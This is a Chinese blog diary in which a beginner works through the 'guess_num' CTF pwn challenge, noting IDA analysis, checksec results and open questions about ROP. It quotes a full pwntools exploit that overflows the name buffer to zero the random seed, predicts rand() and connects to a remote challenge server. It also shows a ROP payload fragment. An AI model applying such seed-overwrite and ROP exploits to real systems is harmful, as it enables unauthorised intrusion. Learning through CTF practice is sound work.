pwn 做题记录 2.9 adworld guess_num

2022 2.9

2.8晚
拿到文件先用ida分析一下,看看main:
在这里插入图片描述
在这里插入图片描述
这算是目前遇到的最完整的一个程序,猜数字的游戏,看到了很多get,可能是一个路径
再看一下system函数,之前看的题解里面这也是拿到shell的一个主要途径:
在这里插入图片描述
结合查到的资料,目前觉得可能是个可以输入命令的地方

不知道点到哪里居然找到这个地方,写着是stack of main:
在这里插入图片描述
而且上面的解释好像可以说明如何查看缓冲区等栈的信息,但是再打开的时候找不到是啥东西了,明天再研究。
最后checksec一下,看看基本信息:
在这里插入图片描述
全开了,算是遇到了,各种保护机制也要看一看。

2.9
中午起的床,然后3d打印机玩了一下午,属实很摸鱼,明天绝对别的幺蛾子不搞了,week3也要结束了,进展不够快。

查看stack of main的方式其实在昨天擦肩而过,双击main中的变量其实就是stack of main,鼠标滚轮网上翻一翻就是截图截到的那个界面了,问师兄问完感觉自己像个傻逼/笑哭.jpg

学rop过程中问题也不少,exp也有点看不懂了,就是接下来的任务:
一, pwndbg的具体用法,还是结合wp和解释的博文,效果应该还可以。blog

二,把pwntools在github上面的解释(虽然是全英文的)也要看一遍,有备无患。

三,具体的几个问题(主要是是几个看不懂的exp片段):
1, asm(shellcraft.sh)是什么
2,payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
中的flat
3,ropgadgets,好像是个工具,装明白

时间不等人啊,早睡早起
—————————————————————————————————————
2.21
鸽了这么久,总算还是把guess_num解决掉了,之前一方面是有些摸鱼,另外基础知识还是要靠看书,不过题目每天还是应该碰一碰的。
这回还是看的wp,本来想着留着自己做出来,但是之前一直没什么头绪(更何况高手区题目海了去了,在这里和一个新手题纠结面子实在受罪),开学课之后时间又不多,就先接着学习别人的做法了。

主要参考的wp:
pwn_bunner的博客
灰信网

对比题解发现一个有意思的现象,我用ida分析出来的文件伪代码是找不到v8的变量的:
在这里插入图片描述
而别的题解分析结果是v8在gets函数里面:
在这里插入图片描述
这个是灰信网的截图,显示gets后面是v9:
在这里插入图片描述

现在想不明白是什么原因,慢慢琢磨着先。
太晚了,先睡,每天都要赶早八/痛.jpg。
——————
2.23

然后是攻击的方式,目前看到了两种完全不同的方法,还是挺有意思的。
方法一:
再放一遍链接

这个和之前看到的基本rop应该是一个原理,不过即使是看了这么多天pwntools还是不能完全理解exp,更不要说自己写了,唉。

from pwn import *
from ctypes import *


io = remote('220.249.52.133', 46272)

# elf = ELF('./guess_num')
# libc = elf.libc

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc-2.31.so")

payload = bytes('a' * 0x20, encoding='utf8') + p64(0)
io.sendlineafter('Your name:', payload)
libc.srand(0)
for i in range(10):
    msg = str(libc.rand() % 6 + 1)
    io.sendlineafter('Please input your guess number:', msg)
io.interactive()

挂着慢慢研究…

方法二:
再放一遍链接
这个方法比较新颖,没有见过。
和尝试溢出不一样,这个程序只要能达到if里面的条件就可以运行system条件,看起来这个条件不像别的wp里面说的是不可能尝试出来的。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

费列罗大帝

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值